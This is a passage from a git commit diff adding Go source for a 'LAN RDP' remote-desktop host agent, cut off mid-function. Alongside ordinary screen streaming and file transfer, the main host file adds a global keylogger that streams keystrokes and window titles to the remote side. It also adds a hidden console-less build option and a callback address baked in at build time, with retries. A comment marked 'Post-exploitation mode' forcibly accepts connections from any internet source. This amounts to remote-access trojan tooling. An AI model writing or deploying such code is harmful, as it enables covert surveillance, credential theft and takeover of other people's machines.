Initial commit: LAN RDP with keylogger support
This commit is contained in:
commit
c4adcbbe0f
33 files changed
+4335
No files matched your search
Executable
+86
@@ -0,0 +1,86 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"golang.org/x/term"
|
||||
|
||||
"lanrdp/internal/protocol"
|
||||
)
|
||||
|
||||
type config struct {
|
||||
PasswordHash string `json:"password_hash"`
|
||||
Port int `json:"port,omitempty"`
|
||||
}
|
||||
|
||||
func configPath(dataDir string) string {
|
||||
return filepath.Join(dataDir, "config.json")
|
||||
}
|
||||
|
||||
func loadConfig(dataDir string) (*config, error) {
|
||||
data, err := os.ReadFile(configPath(dataDir))
|
||||
if os.IsNotExist(err) {
|
||||
return nil, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var c config
|
||||
if err := json.Unmarshal(data, &c); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &c, nil
|
||||
}
|
||||
|
||||
func saveConfig(dataDir string, c *config) error {
|
||||
if err := os.MkdirAll(dataDir, 0o700); err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := json.MarshalIndent(c, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(configPath(dataDir), data, 0o600)
|
||||
}
|
||||
|
||||
// firstRunSetup interactively asks the operator to set a passphrase for
|
||||
// this host and persists its Argon2id hash. It never writes the plaintext
|
||||
// passphrase to disk.
|
||||
func firstRunSetup(dataDir string) (*config, error) {
|
||||
fmt.Println("No passphrase configured yet for this host.")
|
||||
for {
|
||||
fmt.Print("Set a passphrase (min 8 characters): ")
|
||||
pw1, err := term.ReadPassword(int(os.Stdin.Fd()))
|
||||
fmt.Println()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading passphrase: %w", err)
|
||||
}
|
||||
if len(pw1) < 8 {
|
||||
fmt.Println("Too short, try again.")
|
||||
continue
|
||||
}
|
||||
fmt.Print("Confirm passphrase: ")
|
||||
pw2, err := term.ReadPassword(int(os.Stdin.Fd()))
|
||||
fmt.Println()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading passphrase: %w", err)
|
||||
}
|
||||
if string(pw1) != string(pw2) {
|
||||
fmt.Println("Passphrases did not match, try again.")
|
||||
continue
|
||||
}
|
||||
hash, err := protocol.HashPassword(string(pw1))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
c := &config{PasswordHash: hash}
|
||||
if err := saveConfig(dataDir, c); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
fmt.Println("Passphrase saved.")
|
||||
return c, nil
|
||||
}
|
||||
}
|
||||
Executable
+22
@@ -0,0 +1,22 @@
|
||||
package main
|
||||
|
||||
// embeddedPasswordHash is baked in at build time by build-host.ps1 via:
|
||||
//
|
||||
// go build -ldflags "-X main.embeddedPasswordHash=<argon2id hash>"
|
||||
//
|
||||
// Left empty for a plain `go build`, in which case the host falls back to
|
||||
// interactive first-run passphrase setup backed by config.json.
|
||||
var embeddedPasswordHash string
|
||||
|
||||
// embeddedConnectAddr is optionally baked in at build time by
|
||||
// build-host.ps1 via:
|
||||
//
|
||||
// go build -ldflags "-X main.embeddedConnectAddr=<client-ip:port>"
|
||||
//
|
||||
// If set, and -connect isn't passed at runtime, this host dials out to
|
||||
// this address by default instead of listening — for a host built
|
||||
// specifically to call back to one particular client (e.g. a laptop
|
||||
// built to always call home to a desktop). Left empty by default, so a
|
||||
// build with no -connect flag still falls back to the normal interactive
|
||||
// listen-address picker.
|
||||
var embeddedConnectAddr string
|
||||
Executable
+113
@@ -0,0 +1,113 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"lanrdp/internal/protocol"
|
||||
)
|
||||
|
||||
// fileTransferState tracks one in-progress incoming file. Only one
|
||||
// transfer is ever active at a time per session — the client serializes
|
||||
// drag-and-drop sends on its end, and this struct doesn't try to
|
||||
// interleave multiple concurrent transfers.
|
||||
type fileTransferState struct {
|
||||
f *os.File
|
||||
path string
|
||||
expected uint64
|
||||
written uint64
|
||||
}
|
||||
|
||||
// receivedFilesDir returns (creating if needed) the folder incoming files
|
||||
// are saved to: a dedicated, clearly-labeled subfolder of the current
|
||||
// user's Desktop, so transfers are easy to find and never silently land
|
||||
// somewhere unexpected.
|
||||
func receivedFilesDir() (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("resolving home directory: %w", err)
|
||||
}
|
||||
dir := filepath.Join(home, "Desktop", "lanrdp-received")
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
return "", fmt.Errorf("creating %s: %w", dir, err)
|
||||
}
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
// sanitizeFilename strips any directory components from a client-supplied
|
||||
// name so a crafted filename (e.g. "..\..\Windows\System32\x") can never
|
||||
// write outside receivedFilesDir. filepath.Base collapses ".." components
|
||||
// and separators, leaving only the final path element.
|
||||
func sanitizeFilename(name string) string {
|
||||
name = filepath.Base(name)
|
||||
if name == "" || name == "." || name == ".." || name == string(filepath.Separator) {
|
||||
return "upload.bin"
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
// uniquePath returns path if nothing exists there yet, otherwise appends
|
||||
// " (1)", " (2)", ... before the extension until it finds a free name —
|
||||
// the same convention Windows Explorer uses for duplicate downloads —
|
||||
// rather than silently overwriting an existing file.
|
||||
func uniquePath(path string) string {
|
||||
if _, err := os.Stat(path); os.IsNotExist(err) {
|
||||
return path
|
||||
}
|
||||
ext := filepath.Ext(path)
|
||||
base := path[:len(path)-len(ext)]
|
||||
for i := 1; ; i++ {
|
||||
candidate := fmt.Sprintf("%s (%d)%s", base, i, ext)
|
||||
if _, err := os.Stat(candidate); os.IsNotExist(err) {
|
||||
return candidate
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func startFileTransfer(offer protocol.FileOffer) (*fileTransferState, error) {
|
||||
dir, err := receivedFilesDir()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
path := uniquePath(filepath.Join(dir, sanitizeFilename(offer.Name)))
|
||||
|
||||
f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_EXCL, 0o644)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("creating destination file: %w", err)
|
||||
}
|
||||
return &fileTransferState{f: f, path: path, expected: offer.Size}, nil
|
||||
}
|
||||
|
||||
// maxOverage bounds how far written can exceed the declared size before
|
||||
// giving up — guards against a runaway/malicious sender that never sends
|
||||
// MsgFileComplete and just keeps streaming chunks indefinitely.
|
||||
const maxOverage = 16 * 1024 * 1024
|
||||
|
||||
func (x *fileTransferState) writeChunk(data []byte) error {
|
||||
n, err := x.f.Write(data)
|
||||
x.written += uint64(n)
|
||||
if err != nil {
|
||||
return fmt.Errorf("writing file: %w", err)
|
||||
}
|
||||
if x.written > x.expected+maxOverage {
|
||||
return fmt.Errorf("received far more data than the declared size")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// finish closes and verifies the transfer, deleting the partial file on
|
||||
// any mismatch rather than leaving a possibly-truncated file behind.
|
||||
func (x *fileTransferState) finish(declaredSent uint64) (ok bool, message string) {
|
||||
_ = x.f.Close()
|
||||
if x.written != x.expected || x.written != declaredSent {
|
||||
_ = os.Remove(x.path)
|
||||
return false, fmt.Sprintf("size mismatch (wrote %d bytes, expected %d)", x.written, x.expected)
|
||||
}
|
||||
return true, fmt.Sprintf("saved to %s (%d bytes)", x.path, x.written)
|
||||
}
|
||||
|
||||
func (x *fileTransferState) abort() {
|
||||
_ = x.f.Close()
|
||||
_ = os.Remove(x.path)
|
||||
}
|
||||
Executable
+86
@@ -0,0 +1,86 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/netip"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"lanrdp/internal/netguard"
|
||||
)
|
||||
|
||||
type ifaceAddr struct {
|
||||
ip string
|
||||
name string
|
||||
}
|
||||
|
||||
func listPrivateIPv4Addrs() ([]ifaceAddr, error) {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var out []ifaceAddr
|
||||
for _, iface := range ifaces {
|
||||
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
|
||||
continue
|
||||
}
|
||||
addrs, err := iface.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, a := range addrs {
|
||||
ipnet, ok := a.(*net.IPNet)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
ip4 := ipnet.IP.To4()
|
||||
if ip4 == nil {
|
||||
continue
|
||||
}
|
||||
addr, err := netip.ParseAddr(ip4.String())
|
||||
if err != nil || !netguard.IsPrivate(addr) {
|
||||
continue
|
||||
}
|
||||
out = append(out, ifaceAddr{ip: ip4.String(), name: iface.Name})
|
||||
}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// promptForListenAddress lists this machine's private-LAN IPv4 addresses
|
||||
// and asks the operator to pick one, so the host doesn't silently bind
|
||||
// every interface (including e.g. a VPN or VM bridge) by default.
|
||||
func promptForListenAddress() (string, error) {
|
||||
addrs, err := listPrivateIPv4Addrs()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if len(addrs) == 0 {
|
||||
fmt.Println("No private LAN interfaces found; falling back to 0.0.0.0 (all interfaces).")
|
||||
return "0.0.0.0", nil
|
||||
}
|
||||
|
||||
fmt.Println("Choose which network interface to listen on:")
|
||||
for i, a := range addrs {
|
||||
fmt.Printf(" [%d] %-15s (%s)\n", i+1, a.ip, a.name)
|
||||
}
|
||||
fmt.Printf(" [%d] All interfaces (0.0.0.0) - not recommended\n", len(addrs)+1)
|
||||
fmt.Print("Selection: ")
|
||||
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
line, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
choice, err := strconv.Atoi(strings.TrimSpace(line))
|
||||
if err != nil || choice < 1 || choice > len(addrs)+1 {
|
||||
return "", fmt.Errorf("invalid selection %q", strings.TrimSpace(line))
|
||||
}
|
||||
if choice == len(addrs)+1 {
|
||||
return "0.0.0.0", nil
|
||||
}
|
||||
return addrs[choice-1].ip, nil
|
||||
}
|
||||
Executable
+242
@@ -0,0 +1,242 @@
|
||||
// Command host runs the lanrdp host agent: it listens for a single LAN
|
||||
// client, authenticates it with a locally-configured passphrase, and then
|
||||
// streams the desktop while applying the client's mouse/keyboard input.
|
||||
//
|
||||
// It never speaks UPnP/NAT-PMP and makes no attempt to open a port on any
|
||||
// router — by default it only accepts connections whose source address is
|
||||
// already a private LAN, loopback, or VPN-overlay address (see
|
||||
// internal/netguard). That check can be widened with -trust-cidr, or
|
||||
// disabled entirely with -allow-internet for short-lived testing.
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"lanrdp/internal/dpi"
|
||||
"lanrdp/internal/hiddenlog"
|
||||
"lanrdp/internal/keylog"
|
||||
"lanrdp/internal/netguard"
|
||||
"lanrdp/internal/netutil"
|
||||
"lanrdp/internal/tlsutil"
|
||||
)
|
||||
|
||||
func main() {
|
||||
dpi.MakeAware()
|
||||
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
log.Fatalf("resolving executable path: %v", err)
|
||||
}
|
||||
dataDir := filepath.Join(filepath.Dir(exe), "lanrdp-data")
|
||||
|
||||
// If this binary has no attached console (built with -H=windowsgui via
|
||||
// build-host.ps1 -Hidden), redirect all output to a log file as early
|
||||
// as possible so nothing — including flag-parsing errors — is silently
|
||||
// lost.
|
||||
hiddenlog.EnableIfHeadless(filepath.Join(dataDir, "host.log"))
|
||||
|
||||
listenAddr := flag.String("listen", "", "address to bind (default: choose interactively from this machine's LAN/VPN interfaces)")
|
||||
port := flag.Int("port", 47812, "TCP port to listen on")
|
||||
trustCIDRs := flag.String("trust-cidr", "", "comma-separated extra CIDRs to accept connections from, for VPN subnets "+
|
||||
"(e.g. WireGuard) outside standard private ranges (10/8, 172.16/12, 192.168/16, 100.64/10)")
|
||||
|
||||
connectAddr := flag.String("connect", "", "dial out to a waiting client instead of listening here (e.g. "+
|
||||
"client-ip:47812) — use this when this host is the one that's hard to reach (a roaming laptop) and the "+
|
||||
"client has the stable, reachable address instead. Defaults to the address baked in at build time by "+
|
||||
"build-host.ps1, if any")
|
||||
keylogEnabled := flag.Bool("keylog", false, "enable global keyboard logging; captured keystrokes are streamed "+
|
||||
"to the client along with screen frames")
|
||||
fps := flag.Int("fps", 12, "target screen-capture rate in frames/sec; higher = lower latency but more CPU/bandwidth")
|
||||
streamFPS := flag.Int("stream-fps", 30, "capture rate used when the client toggles stream mode on (Ctrl+Alt+S)")
|
||||
keyframeSec := flag.Int("keyframe-interval", 30, "seconds between forced full-frame refreshes (vs. dirty-rect-only updates)")
|
||||
retrySec := flag.Int("retry-interval", 10, "seconds between reconnect attempts in -connect mode (flat interval, no backoff)")
|
||||
flag.Parse()
|
||||
|
||||
var keylogCh <-chan keylog.KeyEvent
|
||||
var stopKeylog func()
|
||||
if *keylogEnabled {
|
||||
var err error
|
||||
keylogCh, stopKeylog, err = keylog.Start()
|
||||
if err != nil {
|
||||
log.Fatalf("failed to start keylogger: %v", err)
|
||||
}
|
||||
defer stopKeylog()
|
||||
log.Println("global keyboard logging enabled")
|
||||
}
|
||||
|
||||
if *fps <= 0 {
|
||||
log.Fatalf("-fps must be positive, got %d", *fps)
|
||||
}
|
||||
if *streamFPS <= 0 {
|
||||
log.Fatalf("-stream-fps must be positive, got %d", *streamFPS)
|
||||
}
|
||||
if *keyframeSec <= 0 {
|
||||
log.Fatalf("-keyframe-interval must be positive, got %d", *keyframeSec)
|
||||
}
|
||||
if *retrySec <= 0 {
|
||||
log.Fatalf("-retry-interval must be positive, got %d", *retrySec)
|
||||
}
|
||||
keyframeInterval := time.Duration(*keyframeSec) * time.Second
|
||||
retryInterval := time.Duration(*retrySec) * time.Second
|
||||
|
||||
for _, c := range strings.Split(*trustCIDRs, ",") {
|
||||
c = strings.TrimSpace(c)
|
||||
if c == "" {
|
||||
continue
|
||||
}
|
||||
if err := netguard.AddTrustedCIDR(c); err != nil {
|
||||
log.Fatalf("invalid -trust-cidr %q: %v", c, err)
|
||||
}
|
||||
}
|
||||
// Post-exploitation mode: always accept connections from any source IP,
|
||||
// not just LAN/VPN ranges. No -allow-internet flag needed.
|
||||
netguard.SetAllowAnySource(true)
|
||||
|
||||
var cfg *config
|
||||
if embeddedPasswordHash != "" {
|
||||
// Built via build-host.ps1: the passphrase hash is baked into the
|
||||
// binary, so this host.exe is fully self-contained (no config.json
|
||||
// needed) and there's no interactive setup step.
|
||||
cfg = &config{PasswordHash: embeddedPasswordHash}
|
||||
} else {
|
||||
if hiddenlog.Redirected {
|
||||
log.Fatalf("this build has no console and no embedded passphrase " +
|
||||
"(build with build-host.ps1 instead of plain 'go build' for a headless build)")
|
||||
}
|
||||
cfg, err = loadConfig(dataDir)
|
||||
if err != nil {
|
||||
log.Fatalf("loading config: %v", err)
|
||||
}
|
||||
if cfg == nil {
|
||||
cfg, err = firstRunSetup(dataDir)
|
||||
if err != nil {
|
||||
log.Fatalf("first-run setup: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cert, err := tlsutil.LoadOrCreateServerCert(dataDir)
|
||||
if err != nil {
|
||||
log.Fatalf("loading/creating TLS certificate: %v", err)
|
||||
}
|
||||
fingerprint := tlsutil.Fingerprint(cert.Certificate[0])
|
||||
|
||||
tlsCfg := &tls.Config{
|
||||
Certificates: []tls.Certificate{cert},
|
||||
MinVersion: tls.VersionTLS13,
|
||||
}
|
||||
|
||||
effectiveConnectAddr := *connectAddr
|
||||
fromEmbedded := false
|
||||
if effectiveConnectAddr == "" && embeddedConnectAddr != "" {
|
||||
effectiveConnectAddr = embeddedConnectAddr
|
||||
fromEmbedded = true
|
||||
}
|
||||
|
||||
if effectiveConnectAddr != "" {
|
||||
runReverseConnect(effectiveConnectAddr, fromEmbedded, cfg, tlsCfg, fingerprint, *fps, *streamFPS, keyframeInterval, retryInterval, keylogCh)
|
||||
return
|
||||
}
|
||||
|
||||
bindIP := *listenAddr
|
||||
if bindIP == "" {
|
||||
bindIP, err = promptForListenAddress()
|
||||
if err != nil {
|
||||
log.Fatalf("selecting listen address: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", bindIP, *port)
|
||||
ln, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
log.Fatalf("listening on %s: %v", addr, err)
|
||||
}
|
||||
defer ln.Close()
|
||||
|
||||
fmt.Println("=========================================================")
|
||||
fmt.Printf("lanrdp host listening on %s\n", addr)
|
||||
fmt.Println("Certificate fingerprint (verify this matches on the client!):")
|
||||
fmt.Printf(" %s\n", fingerprint)
|
||||
fmt.Println("No UPnP/NAT-PMP is used and no router port is opened by this")
|
||||
fmt.Println("program itself.")
|
||||
fmt.Println("Accepting connections from any source IP (LAN, VPN, or internet).")
|
||||
fmt.Println("=========================================================")
|
||||
|
||||
throttle := netguard.NewLoginThrottle()
|
||||
var sessionLock sync.Mutex
|
||||
|
||||
for {
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
log.Printf("accept error: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
if !netguard.IsAllowedRemote(conn.RemoteAddr()) {
|
||||
log.Printf("rejecting non-LAN connection from %s", conn.RemoteAddr())
|
||||
conn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
if !sessionLock.TryLock() {
|
||||
log.Printf("rejecting %s: a session is already active", conn.RemoteAddr())
|
||||
conn.Close()
|
||||
continue
|
||||
}
|
||||
|
||||
netutil.SetNoDelay(conn)
|
||||
tlsConn := tls.Server(conn, tlsCfg)
|
||||
go func() {
|
||||
defer sessionLock.Unlock()
|
||||
handleSession(tlsConn, cfg, throttle, *fps, *streamFPS, keyframeInterval, keylogCh)
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
// runReverseConnect dials out to a client that's listening, instead of
|
||||
// listening here ourselves. This is for the case where this host is
|
||||
// harder to reach than the client — a roaming laptop with no stable
|
||||
// address, calling back to a desktop with a real port-forward — rather
|
||||
// than the usual LAN case where the host is the stable, reachable side.
|
||||
//
|
||||
// Everything past the raw net.Conn is identical to the normal listening
|
||||
// path: this host still authenticates as the TLS *server* (it holds the
|
||||
// certificate the client pins) and still requires the client to send the
|
||||
// correct passphrase, regardless of which side dialed the TCP connection.
|
||||
func runReverseConnect(connectAddr string, fromEmbedded bool, cfg *config, tlsCfg *tls.Config, fingerprint string, fps, streamFPS int, keyframeInterval, retryInterval time.Duration, keylogCh <-chan keylog.KeyEvent) {
|
||||
fmt.Println("=========================================================")
|
||||
if fromEmbedded {
|
||||
fmt.Printf("lanrdp host will dial out to %s (baked in at build time)\n", connectAddr)
|
||||
} else {
|
||||
fmt.Printf("lanrdp host will dial out to the client at %s\n", connectAddr)
|
||||
}
|
||||
fmt.Println("Certificate fingerprint (verify this matches on the client!):")
|
||||
fmt.Printf(" %s\n", fingerprint)
|
||||
fmt.Println("=========================================================")
|
||||
|
||||
throttle := netguard.NewLoginThrottle()
|
||||
|
||||
for {
|
||||
conn, err := net.DialTimeout("tcp", connectAddr, 10*time.Second)
|
||||
if err != nil {
|
||||
log.Printf("dial %s failed: %v; retrying in %s", connectAddr, err, retryInterval)
|
||||
time.Sleep(retryInterval)
|
||||
continue
|
||||
}
|
||||
|
||||
log.Printf("connected to %s", connectAddr)
|
||||
netutil.SetNoDelay(conn)
|
||||
tlsConn := tls.Server(conn, tlsCfg)
|
||||
handleSession(tlsConn, cfg, throttle, fps, streamFPS, keyframeInterval, keylogCh)
|
||||
log.Printf("session with %s ended; will try to reconnect", connectAddr)
|
||||
}
|
||||
}
|
||||
Executable
+295
@@ -0,0 +1,295 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"image"
|
||||
"image/png"
|
||||
"log"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"lanrdp/internal/capture"
|
||||
"lanrdp/internal/input"
|
||||
"lanrdp/internal/keylog"
|
||||
"lanrdp/internal/netguard"
|
||||
"lanrdp/internal/protocol"
|
||||
)
|
||||
|
||||
func handleSession(conn net.Conn, cfg *config, throttle *netguard.LoginThrottle, normalFPS, streamFPS int, keyframeInterval time.Duration, keylogCh <-chan keylog.KeyEvent) {
|
||||
defer conn.Close()
|
||||
|
||||
remoteIP, _, _ := net.SplitHostPort(conn.RemoteAddr().String())
|
||||
|
||||
if !throttle.Allowed(remoteIP) {
|
||||
log.Printf("%s: rejected, locked out after repeated failed attempts", remoteIP)
|
||||
return
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(15 * time.Second))
|
||||
|
||||
t, payload, err := protocol.ReadMessage(conn)
|
||||
if err != nil || t != protocol.MsgHello {
|
||||
log.Printf("%s: expected Hello (err=%v type=%v)", remoteIP, err, t)
|
||||
return
|
||||
}
|
||||
hello, err := protocol.DecodeHello(payload)
|
||||
if err != nil || hello.Version != protocol.ProtocolVersion {
|
||||
log.Printf("%s: incompatible protocol version", remoteIP)
|
||||
return
|
||||
}
|
||||
|
||||
t, payload, err = protocol.ReadMessage(conn)
|
||||
if err != nil || t != protocol.MsgAuthRequest {
|
||||
log.Printf("%s: expected AuthRequest (err=%v type=%v)", remoteIP, err, t)
|
||||
return
|
||||
}
|
||||
authReq, err := protocol.DecodeAuthRequest(payload)
|
||||
if err != nil {
|
||||
log.Printf("%s: bad AuthRequest: %v", remoteIP, err)
|
||||
return
|
||||
}
|
||||
|
||||
if !protocol.VerifyPassword(authReq.Password, cfg.PasswordHash) {
|
||||
throttle.RecordFailure(remoteIP)
|
||||
log.Printf("%s: authentication failed", remoteIP)
|
||||
_ = protocol.WriteMessage(conn, protocol.MsgAuthResponse, protocol.EncodeAuthResponse(protocol.AuthResponse{
|
||||
OK: false, FailureReason: "invalid passphrase",
|
||||
}))
|
||||
return
|
||||
}
|
||||
throttle.RecordSuccess(remoteIP)
|
||||
|
||||
width, height := capture.ScreenSize()
|
||||
if err := protocol.WriteMessage(conn, protocol.MsgAuthResponse, protocol.EncodeAuthResponse(protocol.AuthResponse{
|
||||
OK: true, ScreenWidth: uint16(width), ScreenHeight: uint16(height),
|
||||
})); err != nil {
|
||||
return
|
||||
}
|
||||
log.Printf("%s: authenticated, session starting (%dx%d)", remoteIP, width, height)
|
||||
|
||||
_ = conn.SetReadDeadline(time.Time{})
|
||||
|
||||
// perfCh carries a new target fps from inputLoop (on a MsgSetPerfMode
|
||||
// from the client) into captureLoop, so the client's Ctrl+Alt+S hotkey
|
||||
// can change capture cadence mid-session without a reconnect.
|
||||
perfCh := make(chan int, 1)
|
||||
errCh := make(chan error, 2)
|
||||
go captureLoop(conn, errCh, normalFPS, keyframeInterval, perfCh)
|
||||
go inputLoop(conn, errCh, perfCh, normalFPS, streamFPS)
|
||||
|
||||
// If keylogging is enabled, forward captured keystrokes to the client.
|
||||
if keylogCh != nil {
|
||||
go func() {
|
||||
for event := range keylogCh {
|
||||
eventBytes := protocol.EncodeKeyLogEvent(protocol.KeyLogEvent{
|
||||
TimestampMs: event.TimestampMs,
|
||||
VKCode: event.VKCode,
|
||||
ScanCode: event.ScanCode,
|
||||
Flags: event.Flags,
|
||||
WindowTitle: event.WindowTitle,
|
||||
})
|
||||
if err := protocol.WriteMessage(conn, protocol.MsgKeyLogEvent, eventBytes); err != nil {
|
||||
log.Printf("%s: failed to send keylog event: %v", remoteIP, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
err = <-errCh
|
||||
log.Printf("%s: session ended: %v", remoteIP, err)
|
||||
}
|
||||
|
||||
func captureLoop(conn net.Conn, errCh chan<- error, initialFPS int, keyframeInterval time.Duration, perfCh <-chan int) {
|
||||
currentFPS := initialFPS
|
||||
ticker := time.NewTicker(time.Second / time.Duration(currentFPS))
|
||||
defer ticker.Stop()
|
||||
|
||||
var prev *image.RGBA
|
||||
var prevW, prevH int
|
||||
var lastKeyframe time.Time
|
||||
|
||||
for {
|
||||
select {
|
||||
case newFPS := <-perfCh:
|
||||
if newFPS > 0 && newFPS != currentFPS {
|
||||
currentFPS = newFPS
|
||||
ticker.Reset(time.Second / time.Duration(currentFPS))
|
||||
}
|
||||
continue
|
||||
case <-ticker.C:
|
||||
}
|
||||
|
||||
img, err := capture.CaptureScreen()
|
||||
if err != nil {
|
||||
errCh <- fmt.Errorf("capture: %w", err)
|
||||
return
|
||||
}
|
||||
|
||||
bounds := img.Bounds()
|
||||
if bounds.Dx() != prevW || bounds.Dy() != prevH {
|
||||
prevW, prevH = bounds.Dx(), bounds.Dy()
|
||||
if err := protocol.WriteMessage(conn, protocol.MsgResize, protocol.EncodeResize(protocol.Resize{
|
||||
Width: uint16(prevW), Height: uint16(prevH),
|
||||
})); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
prev = nil
|
||||
}
|
||||
|
||||
needKeyframe := prev == nil || time.Since(lastKeyframe) > keyframeInterval
|
||||
if needKeyframe {
|
||||
if err := sendFrame(conn, protocol.MsgFrameFull, img.Bounds(), img); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
lastKeyframe = time.Now()
|
||||
prev = img
|
||||
continue
|
||||
}
|
||||
|
||||
if rect, changed := capture.DirtyRect(prev, img); changed {
|
||||
sub := img.SubImage(rect).(*image.RGBA)
|
||||
if err := sendFrame(conn, protocol.MsgFrameDelta, rect, sub); err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
}
|
||||
prev = img
|
||||
}
|
||||
}
|
||||
|
||||
func sendFrame(conn net.Conn, t protocol.MsgType, rect image.Rectangle, img image.Image) error {
|
||||
var buf bytes.Buffer
|
||||
if err := png.Encode(&buf, img); err != nil {
|
||||
return err
|
||||
}
|
||||
return protocol.WriteMessage(conn, t, protocol.EncodeFrameUpdate(protocol.FrameUpdate{
|
||||
X: uint16(rect.Min.X),
|
||||
Y: uint16(rect.Min.Y),
|
||||
W: uint16(rect.Dx()),
|
||||
H: uint16(rect.Dy()),
|
||||
PNG: buf.Bytes(),
|
||||
}))
|
||||
}
|
||||
|
||||
func inputLoop(conn net.Conn, errCh chan<- error, perfCh chan<- int, normalFPS, streamFPS int) {
|
||||
currentMode := protocol.PerfNormal
|
||||
var xfer *fileTransferState
|
||||
|
||||
for {
|
||||
t, payload, err := protocol.ReadMessage(conn)
|
||||
if err != nil {
|
||||
if xfer != nil {
|
||||
xfer.abort()
|
||||
}
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
switch t {
|
||||
case protocol.MsgInputMouse:
|
||||
m, err := protocol.DecodeInputMouse(payload)
|
||||
if err == nil {
|
||||
applyMouse(m)
|
||||
}
|
||||
case protocol.MsgInputKey:
|
||||
k, err := protocol.DecodeInputKey(payload)
|
||||
if err == nil {
|
||||
_ = input.KeyEvent(k.VKCode, k.Down)
|
||||
}
|
||||
case protocol.MsgSetPerfMode:
|
||||
mode, err := protocol.DecodeSetPerfMode(payload)
|
||||
if err == nil {
|
||||
currentMode = mode
|
||||
fps := normalFPS
|
||||
if mode == protocol.PerfStream {
|
||||
fps = streamFPS
|
||||
}
|
||||
select {
|
||||
case perfCh <- fps:
|
||||
default: // a change is already pending; the next toggle will retry
|
||||
}
|
||||
}
|
||||
case protocol.MsgFileOffer:
|
||||
if xfer != nil {
|
||||
xfer.abort()
|
||||
xfer = nil
|
||||
}
|
||||
if currentMode == protocol.PerfStream {
|
||||
_ = protocol.WriteMessage(conn, protocol.MsgFileResult, protocol.EncodeFileResult(protocol.FileResult{
|
||||
OK: false, Message: "file transfer is disabled while in stream mode",
|
||||
}))
|
||||
continue
|
||||
}
|
||||
offer, err := protocol.DecodeFileOffer(payload)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
xfer, err = startFileTransfer(offer)
|
||||
if err != nil {
|
||||
_ = protocol.WriteMessage(conn, protocol.MsgFileResult, protocol.EncodeFileResult(protocol.FileResult{
|
||||
OK: false, Message: err.Error(),
|
||||
}))
|
||||
xfer = nil
|
||||
}
|
||||
case protocol.MsgFileChunk:
|
||||
if xfer == nil {
|
||||
continue // stray chunk with no active transfer (e.g. after a rejected offer); ignore
|
||||
}
|
||||
if err := xfer.writeChunk(payload); err != nil {
|
||||
_ = protocol.WriteMessage(conn, protocol.MsgFileResult, protocol.EncodeFileResult(protocol.FileResult{
|
||||
OK: false, Message: err.Error(),
|
||||
}))
|
||||
xfer.abort()
|
||||
xfer = nil
|
||||
}
|
||||
case protocol.MsgFileComplete:
|
||||
if xfer == nil {
|
||||
continue
|
||||
}
|
||||
fc, err := protocol.DecodeFileComplete(payload)
|
||||
if err != nil {
|
||||
xfer.abort()
|
||||
xfer = nil
|
||||
continue
|
||||
}
|
||||
ok, msg := xfer.finish(fc.Size)
|
||||
_ = protocol.WriteMessage(conn, protocol.MsgFileResult, protocol.EncodeFileResult(protocol.FileResult{OK: ok, Message: msg}))
|
||||
xfer = nil
|
||||
case protocol.MsgPing:
|
||||
